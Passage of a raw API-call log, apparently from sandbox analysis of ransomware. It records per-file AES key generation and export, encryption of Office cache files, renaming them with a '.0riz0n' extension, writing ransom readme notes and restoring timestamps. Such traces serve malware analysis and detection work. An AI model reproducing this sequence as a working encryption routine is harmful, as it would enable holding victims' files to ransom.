lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fbc4 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fbc4*(dwLowDateTime=0x775a4570, dwHighDateTime=0x1d59598)) returned 1 [0160.413] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0160.413] NtClose (Handle=0x1c0) returned 0x0 [0160.414] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0160.414] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa7fc38) returned 1 [0160.414] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf98) returned 1 [0160.414] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1b19ee0) returned 1 [0160.414] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa21da0) returned 1 [0160.414] CryptDestroyKey (hKey=0x829d78) returned 1 [0160.414] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf08) returned 1 [0160.414] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40dc8) returned 1 [0160.414] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40ed0) returned 1 [0160.414] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0160.414] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa623330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x266a00)) returned 1 [0160.416] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0160.416] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0160.416] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40ed0 [0160.416] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0160.416] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0160.416] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40ed0) returned 1 [0160.416] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0160.416] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa623330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x266a00)) returned 1 [0160.416] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0160.416] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40ed0 [0160.416] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0160.416] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40dc8 [0160.416] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0160.416] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa623330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x266a00)) returned 1 [0160.417] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0160.417] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0160.417] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0160.417] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0160.417] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0160.417] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0160.417] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf08 [0160.417] GetFileTime (in: hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60*(dwLowDateTime=0xfa623330, dwHighDateTime=0x1d301be)) returned 1 [0160.417] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0160.417] CryptGenKey (in: hProv=0x81e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x1a7faa8 | out: phKey=0x1a7faa8*=0x829d78) returned 1 [0160.417] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x1a7faa4 | out: pbData=0x0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0160.417] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x240) returned 0xa21da0 [0160.417] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf98) returned 1 [0160.417] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0xa21da0, pdwDataLen=0x1a7faa4 | out: pbData=0xa21da0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0160.418] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0160.418] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0160.418] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0160.418] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x0 [0160.418] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x266a00) returned 0x2340020 [0160.418] ReadFile (in: hFile=0x1c0, lpBuffer=0x2340020, nNumberOfBytesToRead=0x266a00, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesRead=0x1a7fab0*=0x266a00, lpOverlapped=0x0) returned 1 [0160.510] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x266a00) returned 0x25b0020 [0160.566] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2340020) returned 1 [0160.577] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x266a00) returned 0x2340020 [0160.578] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf98) returned 1 [0160.659] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x25b0020) returned 1 [0160.671] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x266e00) returned 0x25b0020 [0161.161] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x25b0020*, pdwDataLen=0x1a7faac*=0x266a00, dwBufLen=0x266e00 | out: pbData=0x25b0020*, pdwDataLen=0x1a7faac*=0x266a10) returned 1 [0161.180] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x266a40) returned 0x2820020 [0161.504] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2340020) returned 1 [0161.515] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x25b0020) returned 1 [0161.659] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0161.659] WriteFile (in: hFile=0x1c0, lpBuffer=0x2820020*, nNumberOfBytesToWrite=0x266a00, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2820020*, lpNumberOfBytesWritten=0x1a7fab0*=0x266a00, lpOverlapped=0x0) returned 1 [0161.686] FlushFileBuffers (hFile=0x1c0) returned 1 [0161.757] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0161.757] NtClose (Handle=0x1c0) returned 0x0 [0161.758] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.0riz0n")) returned 1 [0161.758] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.0riz0n", dwFileAttributes=0x2020) returned 1 [0161.758] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0161.758] GetLastError () returned 0x2 [0161.758] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0xc2a79c, ftLastWriteTime.dwLowDateTime=0x984728, ftLastWriteTime.dwHighDateTime=0x3bfb18, nFileSizeHigh=0x0, nFileSizeLow=0x1a7fae8)) returned 0 [0161.759] GetLastError () returned 0x2 [0161.759] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0161.787] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0161.787] WriteFile (in: hFile=0x1c0, lpBuffer=0xa9fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0xa9fe10*, lpNumberOfBytesWritten=0x1a7fab0*=0x15d, lpOverlapped=0x0) returned 1 [0161.787] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0161.787] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x1b) returned 0x1c7f030 [0161.788] GetFileTime (in: hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fbc4 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fbc4*(dwLowDateTime=0x77b71b10, dwHighDateTime=0x1d59598)) returned 1 [0161.788] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0161.788] NtClose (Handle=0x1c0) returned 0x0 [0161.788] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0161.788] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa7fc38) returned 1 [0161.788] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf50) returned 1 [0161.788] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2820020) returned 1 [0161.799] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa21da0) returned 1 [0161.799] CryptDestroyKey (hKey=0x829d78) returned 1 [0161.799] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf08) returned 1 [0161.799] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40ed0) returned 1 [0161.799] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40dc8) returned 1 [0161.799] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0161.799] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545)) returned 1 [0161.799] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0161.799] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0161.799] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40dc8 [0161.799] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0161.799] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0161.799] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40dc8) returned 1 [0161.799] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0161.799] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545)) returned 1 [0161.800] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0161.800] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40dc8 [0161.800] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0161.800] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40ed0 [0161.800] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0161.800] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545)) returned 1 [0161.800] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0161.800] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0161.800] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0161.800] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0161.800] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0161.800] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0161.800] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf08 [0161.800] GetFileTime (in: hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60*(dwLowDateTime=0xfa5fe940, dwHighDateTime=0x1d301be)) returned 1 [0161.800] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0161.800] CryptGenKey (in: hProv=0x81e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x1a7faa8 | out: phKey=0x1a7faa8*=0x829d78) returned 1 [0161.800] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x1a7faa4 | out: pbData=0x0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0161.800] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x240) returned 0xa21da0 [0161.800] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf50) returned 1 [0161.800] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0xa21da0, pdwDataLen=0x1a7faa4 | out: pbData=0xa21da0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0161.801] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0161.801] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0161.801] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0161.801] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x0 [0161.801] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x580) returned 0x9ca460 [0161.801] ReadFile (in: hFile=0x1c0, lpBuffer=0x9ca460, nNumberOfBytesToRead=0x545, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x9ca460*, lpNumberOfBytesRead=0x1a7fab0*=0x545, lpOverlapped=0x0) returned 1 [0161.961] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x580) returned 0x9fd8b8 [0161.961] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9ca460) returned 1 [0161.961] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x580) returned 0x9ca460 [0161.961] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf50) returned 1 [0161.961] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9fd8b8) returned 1 [0161.961] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x980) returned 0xa58890 [0161.961] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa58890*, pdwDataLen=0x1a7faac*=0x545, dwBufLen=0x945 | out: pbData=0xa58890*, pdwDataLen=0x1a7faac*=0x550) returned 1 [0161.961] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa58890) returned 1 [0161.961] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0161.961] WriteFile (in: hFile=0x1c0, lpBuffer=0x9ca460*, nNumberOfBytesToWrite=0x545, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x9ca460*, lpNumberOfBytesWritten=0x1a7fab0*=0x545, lpOverlapped=0x0) returned 1 [0161.961] FlushFileBuffers (hFile=0x1c0) returned 1 [0161.965] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0161.965] NtClose (Handle=0x1c0) returned 0x0 [0161.965] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.0riz0n")) returned 1 [0161.965] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.0riz0n", dwFileAttributes=0x2020) returned 1 [0161.965] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0161.966] GetLastError () returned 0x2 [0161.966] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0xc2a79c, ftLastWriteTime.dwLowDateTime=0x984748, ftLastWriteTime.dwHighDateTime=0x3bfb18, nFileSizeHigh=0x0, nFileSizeLow=0x1a7fae8)) returned 0 [0161.966] GetLastError () returned 0x2 [0161.966] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0161.966] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0161.966] WriteFile (in: hFile=0x1c0, lpBuffer=0xa9fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0xa9fe10*, lpNumberOfBytesWritten=0x1a7fab0*=0x15d, lpOverlapped=0x0) returned 1 [0161.967] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0161.967] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x13) returned 0x1be3cf0 [0161.967] GetFileTime (in: hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fbc4 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fbc4*(dwLowDateTime=0x77bbddd0, dwHighDateTime=0x1d59598)) returned 1 [0161.967] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0161.967] NtClose (Handle=0x1c0) returned 0x0 [0161.967] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0161.967] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa7fc38) returned 1 [0161.967] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf98) returned 1 [0161.968] 